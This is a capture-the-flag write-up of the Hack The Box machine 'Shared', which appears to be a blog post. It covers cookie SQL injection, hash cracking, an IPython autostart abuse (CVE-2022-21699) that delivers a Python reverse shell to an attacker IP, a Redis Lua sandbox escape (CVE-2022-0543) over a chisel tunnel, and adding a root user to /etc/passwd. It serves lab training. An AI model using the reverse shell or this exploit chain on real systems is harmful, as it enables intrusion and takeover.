HTB Writeup - Shared

I start with nmap as usual:

sudo nmap -Pn -n -T5 -vv -sT -sC -p- shared.htb

Only 3 ports open, all web services. As usual i add the IP/domain to the '/etc/hosts' file.

Now i'm able to connect to the website which is a simple Prestashop e-commerce CMS with an interesting message:

Looks like they got a new checkout system. Let's test it out!
After adding an item to the cart i go to check out and, after adding the subdomain to the "/etc/hosts" file, i'm greeted with this page:

From the looks of the HTTP traffic, the data is contained within the cookie "custom_cart":

I noticed that if i add some particular characters i can break the page, maybe the database uses the cookie as input? If so it might be SQL Injectable.

It has been ages since i used an automated SQLi tool so i decided to use SQLmap this time.

I save the request to a file and URL decode the cookie

I then feed it to sqlmap with no particular fine-tuning options, just to see how well it recognizes the vulnerability

But sure enough, it identifies a UNION based SQL Injection vulnerability.

As usual i stroll around the DB looking for interesting stuff. And what do you know?  I stumble upon a nice MD5 hash for the user "james_mason" inside the DB:

Using crackstation.net's rainbow tables, i quckly recovered the password:

Soleil101

With this password i can log in as james_mason via SSH:

Foothold

I use pspy to monitor processes and activites while i enumerate with linpeas. A redis server running as root was quickly identified.

Unfortunately is password protected, I'll get back to it later

While glancing over the pspy results i notice that the user dan_smith (UID=1001) uses Ipython (Python command shell with advanced functionalities) in a specific way:

Before doing anything, dan_smith moves inside the '/opt/scripts_review' folder wich is writable to us since our user is in the developer group.

While researching online for some interesting IPython settings i found this advisory:

CVE-2022-21699 - GitHub Advisory Database
Execution with Unnecessary Privileges in ipython

The example in the article is pretty straightforward, i have to create a fake user folder containing an IPython autostart script. This way i'll be able to force dan into executing python code.

First i create the structure in the /tmp folder:

With the following python reverse shell:

import sys,socket,os,pty;s=socket.socket();s.connect(("10.10.14.124",int(4455)));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")

Then i copy the python autostart script to the /opt/scripts_review folder. The folder where dan executes IPython

After waiting for a bit i receive the reverse shell, as expected the user is dan_smith:

I steal dan_smith's ssh key and connected via ssh:

Privilege Escalation

After some enumeration, i discover that dan is in the group sysadmin

This allowes me to execute a custom binary called "redis_connector_dev".

This program authenticates to the Redis server and shows some stats.

Since this script probably authenticates with the server, i decided to pull off a trick similar to the one done for the Support HTB Machine:

I downloaded the program and, as expected, it doesn't run locally since there is no Redis server on my kali box.

I then created a listener on the default Redis port (6379). Since most of the communications with a redis server is unencrypted, it is possible to read the password:

With this password, i was finally able to connect to the Redis instance using the readily available "redis-cli" binary.

At this point I'd use the famous redis-rogue server technique (either with a script or manually) to achieve RCE as root and call it a day. But in this particular box the Redis server either kept crashing or couldn't load the malicious extension.

After some digging i discovered a farily recent CVE, CVE-2022-0543.
Basically this vulnerabilty abuses the EVAL  function that redis uses to run LUA sandboxed commands. Apparently it's possible to bypass this sandbox and execute commands on the underlying OS:

More information on the EVAL function in Redis: https://www.agarri.fr/blog/archives/2014/09/11/trying_to_hack_redis_via_http_requests/index.html
Github exploit page: https://github.com/aodsec/CVE-2022-0543

Remember kids, keep your arsenal and techniques updated!

But after cloning the repo i noticed in the code that the exploit doesn't support password authentication out of the box:

Nothing to worry about!
In no time i found the answer in a (you guessed it) stackoverflow thread.

Once modified, it's ready to go!

Before running the exploit though, i needed a way to communicate with the local Redis server instance on the target box. We already saw that the Redis port is not reachable from our kali machine.

Of course, port forwarding is the way

I decided to use chisel:

Chisel is a fast TCP/UDP tunnel, transported over HTTP, secured via SSH.

I'll skip the detailed explanation on how chisel works for now, check out its github page if you want more information.

Server setup (kali machine):

Client setup (target box):

Now the exploit can be run against localhost:

And here's RCE, as root!
Now i add a new user to /etc/passwd to quickly log in as root:

(The password is the DES hash of the word 'evil').
Now as i can log in as the user 'brutto'

Happy Hacking ;)

You've successfully subscribed to walu.la - Spaghetti Security
Great! Next, complete checkout to get full access to all premium content.
Error! Could not sign up. invalid link.
Welcome back! You've successfully signed in.
Error! Could not sign in. Please try again.
Success! Your account is fully activated, you now have access to all content.
Error! Stripe checkout failed.
Success! Your billing info is updated.
Error! Billing info update failed.